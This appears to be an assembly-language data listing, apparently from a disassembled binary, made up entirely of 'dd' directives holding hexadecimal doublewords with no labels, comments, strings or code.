dd 0F03506BAh, 5721C71h, 5B67FA64h, 0D7F48098h, 0D400DBA1h
dd 84319F43h, 1F7D556Ch, 805271h, 8B130117h, 0E0000EA0h
dd 6E96EFE6h, 10B71D7h, 7A9F3B61h, 0FF6C70C8h, 0FD3A0AD8h
dd 0D42D000h, 98DDF55Ah, 0B730064h, 8477ED40h, 32009516h
dd 678F33F7h, 21452Bh, 31A19118h, 4F2558D2h, 0B5881E01h
dd 0F96F7895h, 0E0F07DF0h, 9EF1009Bh, 0F876AACCh, 30B05489h
dd 8C46E500h, 884B60BAh, 13A30097h, 8DAC7726h, 520018C7h
dd 0F2B8612Dh, 0B055CCh, 0E6BB32DBh, 0A83E6EA0h, 0C9FED500h
dd 0D810E218h, 0B26C0051h, 3425050Ch, 6404DB9Fh, 390A12D5h
dd 0DE9558D1h, 4AD330h, 8EBE0C2Eh, 8966F368h, 13A86A12h
dd 0AF828A1Fh, 81E7ADCCh, 0DA9D57D3h, 3B3B2770h, 0EED0BC7Fh
dd 773D0063h, 10E401E5h, 800FA788h, 0B8694CCFh, 785BBA68h
dd 5216296Dh, 417D0808h, 15004B9Eh, 11ABCDEAh, 0F4F5003Dh
dd 68544990h, 20C3B9AFh, 443F065h, 3EA83330h, 0C8D4801Ch
dd 0BD3A5708h, 9737004Ch, 90046D81h, 0F87CB0h, 0A5854314h
dd 0B2EC73C8h, 9849AE1Eh, 1CB9DF83h, 1B5802B8h, 0ABB320BAh
dd 0B070185Ah, 686B4C01h, 67C39563h, 0CF9AD1h, 65562880h
dd 0CB543134h, 0D97A3Ch, 72EC2342h, 0FFF09Dh, 2781207Ch
dd 310330E9h, 3D3BC400h, 0BCEE8A1h, 5FC03A7h, 0C0497562h
dd 0AA1DD5B8h, 0E84AA409h, 47B400C9h, 0C8AEE5h, 0C0DB35FEh
dd 0A8FA6510h, 0FF82812h, 7A12A00h, 6CE103h, 8F5196AFh
dd 0E7131F05h, 0E6B7B600h, 0EA0257FEh, 0F67A00EEh, 22E225F4h
dd 0F3001D1Fh, 487FD93Bh, 10CFD5Dh, 0BB14627Eh, 0E03DE439h
dd 0C7F6ED4Ah, 17BD1D00h, 4B8320C1h, 6E7600C5h, 0FA6741DAh
dd 0C970D208h, 0A249D400h, 0D80C01D3h, 6547004Fh, 911F797Fh
dd 2E155FB6h, 16D8501Bh, 0A800B2E9h, 0FF2990FBh, 54F2C9h
dd 6B79A974h, 53A4F7C6h, 985F0901h, 0F3BEF16Eh, 843091DDh
dd 18B2074Ah, 8C946C10h, 4100EE51h, 1ABE9522h, 3959DDh
dd 5FECF27Ch, 9481B5E7h, 1B8B100h, 0A91B0DBFh, 7CB603B2h
dd 809F7CBh, 0E511FCB8h, 0B0A82C00h, 0EFF2B4C6h, 0E718C906h
dd 0AF999500h, 7F01F565h, 0F13C17CCh, 0B2307302h, 2E830446h
dd 0E0F0B249h, 0B430F37Ch, 39BF9941h, 0AE5D000Ch, 3E1E67A8h
dd 7E0FAACAh, 0A37CAF89h, 98C2B0ABh, 72C331D9h, 5AD1743Ch
dd 51DEC62Ch, 0F8842000h, 0BE96597Bh, 825002Ah, 13804C98h
dd 760057F7h, 0C91C9B9Fh, 0E34AB1h, 0AF2991A8h, 0DDB2C5EEh
dd 996EAA00h, 4D122365h, 3993604Ch, 0FFE79F3Fh, 745D900h
dd 746F521Ch, 71980017h, 0CC8457F5h, 8C3B7C54h, 5AD78B13h
dd 0FA2940D5h, 188EF3FCh, 7E21DDDBh, 0D8D272ABh, 437DD73Eh
dd 0DE9E9C03h, 0A855546Fh, 0C367841Ch, 794EF730h, 0A343810Fh
dd 189672Dh, 18BC07E0h, 0E85D12D1h, 954500D2h, 0FE417479h
dd 0B90A1300h, 0BB12FA46h, 0EA920394h, 65E53CFBh, 80140E89h
dd 73CC8C50h, 903A715Eh, 765600A7h, 20DCA79h, 8B0065DBh
dd 0F7F7C7Dh, 2A0F9F8h, 34D690F2h, 564073C0h, 0F600BB11h
dd 0E5928C54h, 5768B4h, 0C870933Ah, 0E23760A8h, 8F0E5839h
dd 9D904271h, 0A76E35C0h, 71743D9h, 0A9B8F5BAh, 78835E8Dh
dd 402813C4h, 7D00246Bh, 1BFDAEC7h, 3EC31FB8h, 164039F7h
dd 605CDB3Ah, 0CD429210h, 432E1C63h, 91540075h, 5F187EB7h
dd 3893C000h, 0CEED4FE2h, 30B107ECh, 4057CA06h, 92C768D1h
dd 0AB3950C0h, 387ECD3h, 848CD45Eh, 0F19390A1h, 49E803BBh
dd 0E7006613h, 0DB7A24BCh, 1F8CAC9Ah, 712FF0Ah, 93F667CCh
dd 0E9794573h, 1C959909h, 40FD8F8Bh, 0A4030578h, 71A661A1h
dd 0D072A308h, 11000B60h, 1EF3E124h, 4785FB7h, 6C3C1AA1h
dd 69428062h, 4400016Dh, 9F79DAD1h, 1BB1F7h, 19270655h
dd 0A993D44Ch, 0A1D9252Eh, 0DA586D00h, 0E0BEC47Eh, 0E37B51h
dd 0D4308045h, 718F7863h, 3F49580Ah, 8CA0A074h, 8083E3A1h
dd 0A3799111h, 11FC0h, 0E4B7F4FEh, 37C12B6Bh, 7B78F700h
dd 0CE97A70Fh, 8C9803DAh, 0AC0E73A3h, 22FF5807h, 0D34299E3h
dd 2F19C0F4h, 0B7350791h, 830B8FBFh, 0BA0324ADh, 57EFFF82h
dd 0E8F3D005h, 0FAF4C62Fh, 0F7011856h, 95249AC7h, 0FBF01576h
dd 101186D4h, 0B02171F8h, 2118F495h, 0AC488A7Ch, 7E78110Ch
dd 92CBBD10h, 0BA80EE1Eh, 0F6398240h, 60A0608Ch, 6896EC6h
dd 9740FD11h, 0B00620E9h, 0F1EA7023h, 0F8914550h, 1CA0D7D8h
dd 18075764h, 22A103A7h, 0C37F4583h, 9AC0C7F7h, 6BEF87A0h
dd 2B82712Eh, 88747E9h, 2FEC82FCh, 7AAA9820h, 6A2C1B91h
dd 0DDF160D2h, 0ED79836Ch, 0C405C9Dh, 837997C8h, 8E76F018h
dd 1300AA77h, 961DBCADh, 0FEEA0Dh, 0DE4B85EDh, 2AE06F64h
dd 64E3501h, 6AD7BD7Ah, 0F62760h, 0FE199FEAh, 84835DEFh
dd 597C0530h, 0DBA097h, 3A06FD8Ch, 3BAF76EBh, 21C08FE8h
dd 79DBBB38h, 58B8037Dh, 0F65DFCE6h, 6AD47106h, 0CC6075B1h
dd 6E61FFD8h, 0DBA6028Ch, 3B96FD76h, 0B6108819h, 6B00DBB9h
dd 0EC058E62h, 0DD1B5D29h, 0D8B3C0C0h, 0E0D5F4F7h, 6E2C70C3h
dd 5939007Bh, 0F585E1D4h, 0BC3E9338h, 0BAFC065Ch, 0EC907C09h
dd 0DBF40042h, 440D3170h, 0EE0E9223h, 23FF64BEh, 0E8E5A7B3h
dd 0B957CADh, 531EA8F4h, 919B180h, 4E00C850h, 0EE079FB7h
dd 3EB1CC2Ch, 0EC00A5DCh, 978B56Dh, 3E005557h, 2804C9E9h
dd 32501h, 0C7858EC2h, 272176DEh, 9835BC07h, 0D57004E2h
dd 0FB4DB3h, 4A71E956h, 890396B0h, 0C04E1E00h, 12F8576h
dd 43C40021h, 0A0D4C833h, 977D0AC3h, 39B7F70Fh, 0B988A310h
dd 5BD1D081h, 4A0F0FE7h
dd 0D2A01A78h, 94DB99C7h, 48F3A72Eh, 8315380Fh, 781B43AAh
dd 0D861420h, 800185Bh, 27C1D95Dh, 5004BA6h, 12AB3D6Dh
dd 4C86585h, 0B1497873h, 8845C02Bh, 6D016799h, 3EC1151Dh
dd 14C9DDE7h, 14722AC0h, 1429480Ah, 8911D7F0h, 0A8FC392Ch
dd 9FD29932h, 0E7ED804h, 8534D28h, 1975B18h, 3B2020h, 0E7435841h
dd 0D0358E1Ch, 0A50887Dh, 67015BD8h, 2089F5D6h, 2990437Fh
dd 214C9B30h, 56085329h, 84249042h, 3F480C9Ch, 59581641h
dd 1185F801h, 0AB111596h, 55D911EDh, 0BB20EC12h, 4BDEA4h
dd 3B2F9681h, 67FB8F71h, 443B4A75h, 9BE700ABh, 0E9C56A01h
dd 8CA600C2h, 3957F0BBh, 4700F906h, 121755A8h, 0C1EA9Dh
dd 0C4F7DA43h, 0D2ABBDD9h, 99E1FB00h, 7D4DEED7h, 0CAB00719h
dd 4376B1BBh, 0C6808391h, 6B00C92Ch, 0F959A2E6h, 0FFF4EDEh
dd 7BEA89FAh, 0AE316EA0h, 0F700955Dh, 142A3E6Ah, 0F3AEEh
dd 0CBDF4353h, 5EB5ECBCh, 0B45A3Fh, 0A5DAD619h, 50D59124h
dd 1F93D411h, 0DE2AA0h, 5CA278A8h, 22007EF2h, 0B18D05FFh
dd 1E1ED714h, 89DF24h, 1A28EB3Eh, 70053C9Fh, 0EF670D33h
dd 80CF22C0h, 1C9E788Ch, 129137A3h, 3B0440F4h, 30E902CCh
dd 0EA7B9700h, 3AA42B59h, 50C50FD5h, 0B820481Ch, 32ADF088h
dd 56BF9000h, 931529FBh, 5B14009Dh, 0EC1E75ACh, 0B4007891h
dd 8376C94h, 1C23E170h, 0C0484E9Ch, 9F2A6F42h, 10C01FEDh
dd 0BD28BB3Eh, 0D7830E93h, 46057D9h, 4EBA3F80h, 0AB00FBFEh
dd 4DF8DE45h, 795E29h, 1A0A2F90h, 98695FC5h, 0EB96100h
dd 0E1BAA122h, 16020FE4h, 0D23FF7A8h, 1CEFA0F6h, 0BF2B193Ah
dd 74D700C2h, 0C4B271BCh, 0ED10C0C1h, 0F723915Bh, 973D263Bh
dd 2907B0C8h, 4640486Dh, 3DD4F5F6h, 188099EFh, 0E28A34E1h
dd 6707E081h, 0D228510h, 0D7282300h, 0EAFB00AEh, 65FB89Ah
dd 20C01309h, 40BF02F7h, 6F95007Fh, 0B353872Dh, 0BC92CC9Eh
dd 1CE81100h, 0D165ED7h, 84AF00C6h, 7F83BAD9h, 0D20026CBh
dd 9E1579ABh, 0E576B3Ah, 441AB46Ch, 3004A5E1h, 0A6B7DC8Ah
dd 6941D40Fh, 0B9586052h, 73B9103h, 89B83EA9h, 6AC330D7h
dd 301CA024h, 2580E0C4h, 0FC2C9D09h, 26D00057h, 0B0118035h
dd 0B100BE59h, 0E8FBE0B4h, 6C844Ch, 4D125169h, 42C20DCAh
dd 0FD8A6E03h, 31503Bh, 6D0A38D0h, 8D7E96B1h, 2C5B5A00h
dd 0B2D77739h, 27B60076h, 0D883EECFh, 0E49A87C0h, 99EDD101h
dd 0F92E5A65h, 1DDD0820h, 432F98ECh, 0CD50C476h, 98D39C8h
dd 365BE800h, 8094D717h, 0E41FC01h, 5F7A741Bh, 0AF2D4B40h
dd 15009135h, 102957C8h, 4D3CE0Dh, 6560AD2Ah, 0AE888017h
dd 91007F68h, 4AFDF0C6h, 8229E4h, 152752C2h, 2DDF490Ah
dd 0A7795300h, 8AC40C13h, 4D1100A5h, 644778FDh, 1F00D4D9h
dd 0C362E745h, 0FCB9DD82h, 0A29400FFh, 8DB70F29h, 0FCA02150h
dd 560191BFh, 41F493C5h, 0A940E1BEh, 24A28D6h, 0B18A3CE6h
dd 0C040B883h, 7200873Fh, 44482D79h, 7042E2ACh, 0EDE90098h
dd 9D7F4DE0h, 0EE003C36h, 45FF06E8h, 1257AEh, 82A99C13h
dd 0CB79CDC3h, 639DF90h, 0E17613E6h, 0C1196401h, 94E8FB88h
dd 0DBE51D04h, 0CC5AC2EEh, 0BCA03642h, 282F7459h, 6C99D60Eh
dd 0B6545Dh, 520BBD4Ah, 50C3EC8Dh, 2579ADAh, 6E788ACh
dd 9840019Fh, 9500A78Eh, 81B58E4h, 4CE1B65Ah, 0F612209Eh
dd 0B1C7004Dh, 8DCADB8Ah, 0D655F224h, 0B9EC0039h, 762FADCEh
dd 71DC3E3Dh, 2B8AAB30h, 7D007A9Ah, 2CC94094h, 5EE8E6Ah
dd 28D2074Eh, 0F3F300E5h, 0B47024E6h, 0AC9AE900h, 9347BC81h
dd 68184DB9h, 9F0D3E0Fh, 0E3308A00h, 40FEE161h, 6F043C90h
dd 81D4477Ch, 0F0AB1C80h, 0B0BA4C22h, 52945D03h, 0EDC83DD0h
dd 9100B7C9h, 0F9ECDEBCh, 12790CB2h, 0F841833h, 59008F08h
dd 0F62F9F75h, 66CD1700h, 36D9C8B6h, 73F700FBh, 7484DC0Bh
dd 0DA01A663h, 0EE354868h, 0E62001D6h, 56C90317h, 1E657612h
dd 89EAD1A0h, 71459B00h, 59418697h, 80820011h, 0B55EB205h
dd 0A10004DFh, 44EDAC61h, 6F1C7Eh, 59095DB3h, 0CD83B793h
dd 85EE2400h, 25E7628Ah, 0C8988Ch, 0E9519FB0h, 82C8F28Bh
dd 0CEC32207h, 42AE3D07h, 815B20AFh, 80A499D6h, 1C67F8h
dd 0B15CDBA3h, 0CB37164Ch, 9F2E913h, 0BE5B7A00h, 9B9F764h
dd 6A415ED3h, 0FD809A0Fh, 30626F9Eh, 5C9481Fh, 63236E00h
dd 0FF7651h, 84574512h, 32F35502h, 1734591Ch, 0E6B64DC0h
dd 0FA2E8B89h, 83FE69h, 33F63D88h, 9C123F9Eh, 6800DEB0h
dd 0C66D7FD3h, 3672E2h, 0B720EE5Eh, 654943DAh, 7F11FC3Dh
dd 0B134500h, 0D9ADD023h, 0B18C0032h, 0CF9ADECEh, 3101392Ah
dd 958A8D7Ah, 0F8F35FFBh, 0E188969Bh, 9ACD4830h, 2472B4h
dd 48740B69h, 8B3FF6FEh, 8C61EE1Ch, 59519D83h, 27ACB07Eh
dd 7881EC73h, 4430006Dh, 39E0AE3Eh, 8C0E0791h, 621460AFh
dd 41E790FCh, 0A060B7CFh, 1A7FC5Fh, 202E9228h, 20474351h
dd 0AC27A64Ch, 169DCA9h, 0CD803B02h, 9F7948h, 656B3EBEh
dd 18DD2BADh, 0EC96D6D8h, 0E2F686A3h, 35769300h, 83E73E2Dh
dd 57F100DFh, 2A40123Ch, 0A50394E4h, 0FBF4D185h, 0DE91C132h
dd 7CFC20h, 0CE400C31h, 0E992D2FAh, 6528B600h, 24FC025Ch
dd 0C51800B0h, 95FA2F52h, 0F677F2DDh, 0A79D2A04h, 94804370h
dd 0D8E2DFh, 79D0EF92h, 72D3AAB5h, 3B82A800h, 0B490150Fh
dd 0D92C0006h, 8DB56667h, 1E3DC06Fh, 0BE5F0082h, 1551AD71h
dd 0B6F9038Eh, 38F1BC7Ah, 0FF8236C8h, 800D3Fh, 2E982CB8h
dd 330EF6h, 4969BBA7h, 0B9CFBC4Dh, 1022E300h, 85048390h
dd 1D502895h, 33641EE9h, 63C5C027h, 47F288A4h, 0B7A0B503h
dd 0B842814Bh, 0CD2E40h, 63937502h, 640B383Ch, 9F00ECB8h
dd 5D3EA08Fh, 146CFAC3h, 0D4484F2Ah, 0CD595200h, 0A69DF5A5h
dd 0F1655702h, 48582314h, 0F174940h, 37B6C070h, 60022AC7h
dd 968D496h, 5AAF011Ch, 44003652h, 0C3257BAEh, 0D43850E7h
dd 0B9260290h, 0EE93B61Eh, 0D6348960h, 412EED00h, 25217B07h
dd 144000EBh, 535DDB8Fh, 0B200884Eh, 5FA1798Ah, 0EC0EFB4Bh
dd 0AE8C035Ah, 80EB14A6h, 0FD029A77h, 86129DC0h, 527C60A4h
dd 8EAD07BAh, 0A003B8F5h, 8FD2513Ch, 9F9E9402h, 63AFD714h
dd 0B488851Bh, 3A28886Dh, 0FD5AE404h, 85C0FBEBh, 71B31552h
dd 5F320056h, 7B838B45h, 40B0CDFCh, 801C57Eh, 8246DABEh
dd 198091A7h, 45E240F8h, 3F001B76h, 0FF0C329Dh, 131F97CFh
dd 0BBB0EEEh, 5820EBE4h, 2ABFC6B0h, 0BB86117h, 0FC5611B0h
dd 0AC17092Bh, 9C005AF1h, 0CB7C96B0h, 0EA87A000h, 0D837E916h
dd 3470F65h, 73A37B0Dh, 8000DE04h, 0FB1D3BADh, 30F450E1h
dd 0F2E0839Ch, 0EE7EF36Ah, 56DFD00h, 46CC593Eh, 9F3F0024h
dd 0DE8BC3Dh, 4D005027h, 0DCBAEFE4h, 1DA8B249h, 42AE6A69h
dd 0F9C017Eh, 146F44C0h, 7CF0AC00h, 8B9F28B7h, 0E93100D1h
dd 0A3C82F36h, 8240D0E0h, 0C1EAC6h, 0FC9A33F0h, 0C2E3ED3Ah
dd 0D63D6000h, 0E7489918h, 530A0007h, 0CAC1250Bh, 4600C5F1h
dd 449F7A09h, 127D9685h, 0DB4106h, 6F546616h, 1D00A683h
dd 0F4B74B1Ch, 8C01Eh, 0A380339Ch, 6B2A7DDCh, 0E1943D00h
dd 1DEBB603h, 0EEFD00CFh, 410FB3EAh, 2CFAF78Eh, 4400904Bh
dd 2992AB71h, 6065602Bh, 0E8851C08h, 124A3005h, 28D78A04h
dd 602B51B0h
dd 804F0018h, 882FCDC4h, 0CC00569Dh, 8D93DFBBh, 0BF2E73h
dd 8104B33Fh, 0B52C28C1h, 4127C3B0h, 7D580019h, 903F46E1h
dd 0E8F900BCh, 0C3CAAC36h, 4F007779h, 6EC4D8EFh, 12889225h
dd 2DEC69h, 2351A7A4h, 93009C22h, 32F0D36h, 266504Dh, 0BD55F6D3h
dd 2AE0E241h, 6200D110h, 53BF7B25h, 1B1CFF8h, 354A3B6Fh
dd 0F47A5520h, 0B0032E8h, 7D64E180h, 0B62273h, 1ED65B95h
dd 0A98E534Fh, 78AB2700h, 0D0E81523h, 9974E3h, 3D2986BDh
dd 4101F7EAh, 80603038h, 0AEB1A49Ah, 0E9BC5Eh, 700421E0h
dd 5DCCBAF4h, 1B2D8301h, 0E6F9AAD4h, 66FAB540h, 0A00F0172h
dd 0B6174E85h, 0AB18067h, 2F29CD78h, 0AE99CE9Bh, 0D35ABEA3h
dd 87D41DB9h, 696155A0h, 5B1ABD6h, 548919E0h, 27D0143Ah
dd 0B9962200h, 0D7C452A9h, 0B3240C0Eh, 6077AF17h, 0A8CF7DB7h
dd 0C3E6009Bh, 7149DB65h, 9EFE7E3Ch, 411F271Dh, 285E66C0h
dd 7D602h, 5068B452h, 35B87538h, 0B3108890h, 0CF000C14h
dd 0F901A6A2h, 6F59EE2Fh, 8150738h, 0E870663Bh, 16FF3539h
dd 36CA3F2h, 1FFB4D44h, 480028E6h, 22ADD7D5h, 0C7095h
dd 0D4A3FD30h, 9A2FF511h, 26AE4E00h, 8FBB6214h, 1AC90B8h
dd 0F37C9107h, 0F0FEED68h, 0FF19E792h, 472196D8h, 604F866Eh
dd 81FCAE69h, 0C6DECC2Fh, 25A060CEh, 3E432856h, 21A009C8h
dd 90874531h, 0DDEF9062h, 0F62CAC10h, 7D07EF3Eh, 21EF51A1h
dd 65448B9h, 40845880h, 0DE68C837h, 15813450h, 4132F1F7h
dd 0C9BD7BB4h, 78187475h, 0E79C4A01h, 0A9BC71ADh, 4BFC04C5h
dd 9BE5072Ah, 77809DA3h, 0D76AB04Ch, 0C0037648h, 1F2BD4BEh
dd 20A3C042h, 6967AB9h, 0A1091DB3h, 2E00E8C9h, 402FB4CFh
dd 7204D57Ch, 254F02ADh, 6965E031h, 0E135060h, 0BBA601Ch
dd 26205689h, 0A0800274h, 300F5A74h, 0EB504D2Fh, 0E71FE4EDh
dd 0BD005B2Bh, 0C0902E6Ah, 398905BCh, 0D084C5D0h, 0FE318C38h
dd 0BB23DD01h, 7E82FAE9h, 3445A040h, 0F99D0062h, 0AE6F2CD2h
dd 4C1ADA78h, 0DD207FEFh, 6DE7F800h, 6036CFEh, 0ADEAE979h
dd 9016F3CAh, 79C24807h, 8C260092h, 0CEF15E58h, 0AA012282h
dd 0DD0FE4Ah, 0D1C89FFAh, 26DD0E32h, 0EB2CE8A5h, 0D9009ED0h
dd 81D39AC9h, 2246Eh, 0AD4D1BE7h, 0C02DDD8Ch, 68FC5D01h
dd 966427Ch, 0E1C289F2h, 0D6D458A4h, 279AB897h, 0C085920Ah
dd 21C8861h, 41321500h, 1F4CED75h, 563E009Fh, 0BB660F2Ch
dd 0C03F9103h, 6A9587ABh, 0C780430Dh, 0B51821Fh, 0F13F1CAAh
dd 0E8805000h, 68FF2E4Ah, 50360ED4h, 9C4980B7h, 58728E1h
dd 1D1B4FCAh, 8D08D005h, 3BEAE903h, 9011D004h, 0A4D00CA8h
dd 0F172A0Ah, 9C420625h, 2C9D007Fh, 2FD350F5h, 23453C16h
dd 0C02170C2h, 0E02DF452h, 0B2B8715Ch, 8AEE0050h, 6B98F268h
dd 0F477F69Fh, 0C31C6894h, 83F81D4Eh, 0E0D5713Ah, 0A06B070h
dd 0C9ADED86h, 8BBF00AFh, 5910EC66h, 80532B3Dh, 0A96F351Bh
dd 1248A6h, 8E1CF94Dh, 0C4BBCF9Ch, 90C74C18h, 0B2E8B9F9h
dd 17FD2D98h, 0B3F96C00h, 0BE017250h, 0F465B4D2h, 488052A0h
dd 265AA516h, 0C71E1EB1h, 3AD0BD4Ch, 50ED0F77h, 27A3C67Bh
dd 0A391447Ch, 54A841C8h, 3C64039h, 23094CE4h, 419B2918h
dd 0D709E08h, 0C35F01C8h, 0FA176CBBh, 5DF8CC37h, 7830C62Ch
dd 70459100h, 8BCA4Bh, 0B3F22238h, 0F63908D0h, 258E0B00h
dd 5B62AAECh, 373F00EFh, 2D4C710Dh, 140023F0h, 26D2029Fh
dd 0C97582h, 7BA5D424h, 0ED53B933h, 0BDAA7702h, 0C03D08B5h
dd 991284h, 0DDB4640Dh, 332417E0h, 18045504h, 49808E08h
dd 81B157h, 0EAA4F777h, 97D7FFC2h, 464B2A00h, 769B1A70h
dd 0EF53013Ah, 0A783E4A1h, 0D09C6021h, 895E6000h, 6DDE31CCh
dd 0EF5800B9h, 47E7093Dh, 72F093A8h, 8F881B00h, 0AFB8089Dh
dd 9F2C000Ch, 970550BCh, 39006E7Dh, 3F6B1B1Dh, 18A469Ah
dd 3207AB18h, 30867991h, 3800A288h, 57F4EACCh, 26FDCA7Eh
dd 7CA48Ch, 0F8FF276Ah, 7B0214D3h, 75A1DEFBh, 0CDDA438Ah
dd 600968B0h, 66D66023h, 0E33A044Dh, 89080011h, 2957A4EEh
dd 63ED009Fh, 0C70A90A7h, 8D2EA059h, 0BC00B675h, 6FA30D8Ch
dd 88AE014Ah, 1DA84F14h, 0A1A860E3h, 32872500h, 355B052Eh
dd 48DA001Ah, 319C8508h, 9060E333h, 0CAB17911h, 0DB5400BBh
dd 0F72E5844h, 79EB4C2Fh, 0C33306ACh, 0F0EFEBh, 2E639EB1h
dd 5237D11Bh, 9487702Eh, 4E1D7A8Fh, 14FC0520h, 4C27BC91h
dd 83E3E4h, 188644ADh, 2E50CE95h, 0D50000BCh, 8D095EE4h
dd 8120B14h, 0A4206DEBh, 0CE045AE2h, 8A0038B4h, 86D58BB7h
dd 9D50489Fh, 0A9DABE05h, 6C50D0F7h, 68F51535h, 7B407A0h
dd 3820B0DCh, 3363DD6Fh, 36E6DB4Fh, 0C04785B9h, 0C200CFD1h
dd 0F9B7CD50h, 30D82F13h, 5E403430h, 0C558D919h, 0D06D50F8h
dd 0D0256130h, 13CAF653h, 163A07C7h, 882B0B4Ch, 9A95D4C0h
dd 0CC7C0600h, 4D1C9DDDh, 22F93CAFh, 0E0BF3B80h, 0F76EEDFBh
dd 0A94F1A1Fh, 0B6F6CD41h, 2430FF96h, 0B051007Dh, 3534EDECh
dd 4B0C7E52h, 21845C12h, 72A100ABh, 0A645864Ch, 924DE224h
dd 60062488h, 0B3507700h, 0F2D813Eh, 0BE3A4A1Ah, 0D5682780h
dd 63001D0Bh, 0EAD7EBE3h, 0BF025E5h, 16A8F229h, 1BCFA000h
dd 0FA00DF9Fh, 4C55A9C8h, 0E690A1h, 46BBD944h, 39913892h
dd 26080549h, 0EFD1AC28h, 1F70D0h, 0F9B08008h, 0BBF3BEC9h
dd 26DCD06h, 128854Bh, 7D09B48Bh, 0F471593Ch, 1D07437Ch
dd 6B0CD1BEh, 2BFD01A0h, 5CFA31F9h, 40ABB030h, 66734C98h
dd 158E7B00h, 98CE2D22h, 0DAFA0902h, 2E037A0Ah, 81ADBEC5h
dd 31EDD31Eh, 7BDDC8D8h, 99D05D00h, 5AE0D72Ch, 343723Ch
dd 4984D9C8h, 46F8EFB4h, 0CD162D89h, 1EBC2963h, 5838C100h
dd 32EEFFFDh, 533EF800h, 0F0F4808Dh, 87922CD5h, 0E0C07B1h
dd 7E9BFC4h, 0B160ED8Fh, 18449895h, 6189D0A0h, 0D828C50Ch
dd 21A4A8h, 0FC52411Fh, 48FD3236h, 0B3E03D00h, 0AFD3BD14h
dd 7E4E0FE3h, 6F80319Eh, 1C6D018Ah, 0B34C7D0Bh, 53AA02D1h
dd 93BCC0C5h, 0B7B40011h, 0FF855489h, 7CF63ABEh, 0E5529409h
dd 0B65800B2h, 0F3747Ah, 0AA405B85h, 2F9FA391h, 0CB8B9516h
dd 46A43B06h, 24C42EA0h, 0B7D48404h, 95880BBh, 7607438Eh
dd 2B413C8Fh, 0A1CF6CF0h, 7109034h, 5A3FE684h, 9B0B58A6h
dd 3600607Ah, 785B012Ah, 47BAA875h, 201C24E8h, 1FAB780h
dd 7771BE12h, 30E9178Ch, 760E8E24h, 60350594h, 1B849BA4h
dd 6D40B40h, 0F2000472h, 98411270h, 954A4670h, 0FC7E7803h
dd 0AEEBC6h, 0DC762B10h, 0C8F2CA11h, 0B90F08F0h, 0FE5774h
dd 0D695EBDDh, 0A99C3ABDh, 0B0FBE180h, 0CB1AC5A6h, 0BB3E1912h
dd 7DB41Ch, 0C4D92865h, 174DA88h, 2250526Ch, 200256B3h
dd 0DB0BBFE8h, 69C9F8h, 376ACDC0h, 0AE7E005Ah, 0D830DF8Dh
dd 9E03752Eh, 22C92308h, 8BB2B099h, 726E00DBh, 0D9B7690Ch
dd 6C00E3F8h, 0F6E64B8Eh, 0A8E205BFh, 0EAA19F94h, 6A8D005Fh
dd 623D8F23h, 2E796077h, 0DF97400Eh, 4E1D6043h, 0DEE5C8h
dd 0D3848AAh, 0FD0A3E73h, 0CCEC2330h, 0BE699F6h, 0E5D767DDh
dd 0A7B9C481h, 0CBA079EEh, 80A84DA4h, 0D7883870h, 0C9002FFAh
dd 75CDCA59h, 3EC877h, 0ED3AFD4Ch, 0F10F3C0Dh, 80F40139h
dd 0CAF5B662h, 314D915h, 0D80934E8h, 55B08548h, 0BC07C9A6h
dd 56C4046Dh
dd 8C793780h, 8F9A0097h, 0D9CA8BA9h, 0BB0038F0h, 0ADD43CF3h
dd 7176B31Ah, 35EC0032h, 0F4865673h, 5009850h, 837BAF75h
dd 0E9F478Ah, 376D4182h, 0B6D3C203h, 3E9B4E80h, 0D088E003h
dd 0E0BC82F5h, 0D680BDh, 1302B484h, 676C4C98h, 10C662Dh
dd 9AEEE8C8h, 0C5F9CDCh, 7491FF5Ch, 0C000435Ch, 2BF3C845h
dd 195B07h, 8D84D70Eh, 780830C9h, 5C020B7Dh, 8134CF16h
dd 5E8A02Ah, 0E51C90Fh, 2CDAA51Bh, 76B83340h, 7A0F97F2h
dd 362A9AB6h, 6CEFD403h, 0AFAA804Eh, 6BBF3C86h, 247CC080h
dd 0EB3E1A29h, 19416F03h, 7284ACA5h, 60D3FE20h, 68AB68A3h
dd 0C832625Ch, 29811F0h, 0B024FB64h, 40965905h, 0F8502D18h
dd 29F0F3AAh, 60C9173Bh, 0B7CC9528h, 34E4F20h, 96448698h
dd 8929D4F8h, 58BE6C02h, 0C91E7D4Ch, 20819C44h, 53EF8613h
dd 940C4084h, 0C100B7CFh, 0A7AE2CA0h, 0E85057Bh, 0D7DAFE39h
dd 60712DA7h, 0A6B94FF5h, 0FE71B01h, 0F0D183CDh, 0DFD4ECh
dd 0CAB5F163h, 2DE08061h, 9AFB6E1Fh, 3FCB8540h, 1A6DDBh
dd 0F2475DDEh, 0B1FC2D9Dh, 1100A5F2h, 4258EB12h, 3A394F55h
dd 0B880CC65h, 0AAA9E35Eh, 8D07F31Eh, 0B4922F45h, 0ABE1A0EEh
dd 5B5810h, 942D5F33h, 74016095h, 0FC237B1Ch, 4BD28C3Bh
dd 45FA79h, 5D330ABAh, 0FF7884E8h, 94F64001h, 4375AC6Fh
dd 3A0526F4h, 99002E1Ch, 5B9A461Bh, 61032893h, 0DD4AA0E2h
dd 0C91EF02Bh, 154400CBh, 846338E1h, 0C00CC3Dh, 0A7435971h
dd 976ECD9Fh, 0AC4B2084h, 422E0138h, 0FA0C8963h, 0F5DFE8h
dd 0C7F6AC6Dh, 1439A8DDh, 0B70BBF01h, 0D57F9C0Dh, 0AA54033Ah
dd 0BAA07381h, 998F3A7h, 711D04A1h, 2031B189h, 0B9046037h
dd 0CC8A02B4h, 200DFD0Eh, 0B07DA430h, 5CA0A803h, 34F0931Eh
dd 0C021FF08h, 0E8F27D6Fh, 5DCC3B00h, 0D1445B01h, 0C969609Fh
dd 96238D4h, 1030CD60h, 1541BB2h, 0B9253458h, 98FD530Ch
dd 0F7216108h, 87540E13h, 6EA3F523h, 1D0964Bh, 88A94353h
dd 0ACB7F83Fh, 0E711B8C1h, 0D0811D7Ch, 5A421526h, 58298E3Eh
dd 0C7A560B0h, 33B62DC8h, 5708D8BFh, 0CBFE211Ch, 1B83C4C0h
dd 0B0CAEA7Ah, 30227C1Bh, 0D0B82A79h, 0A8A9E17Fh, 0DCFDEC35h
dd 0EBE61200h, 2F1306A3h, 8F0D00BAh, 914F58E4h, 49008E85h
dd 0FB0E22C5h, 19A1277h, 0FA08C116h, 0D03A1CB8h, 420CC54Eh
dd 9C930BB1h, 0A3C01973h, 801708B6h, 0AC8E021h, 18024624h
dd 19161C6Eh, 9001ACA8h, 0BD609699h, 0AFF46D5Ah, 0C8E603A1h
dd 0FBA5BF24h, 0B2222803h, 213D77h, 0B9C37839h, 0F5951C7Eh
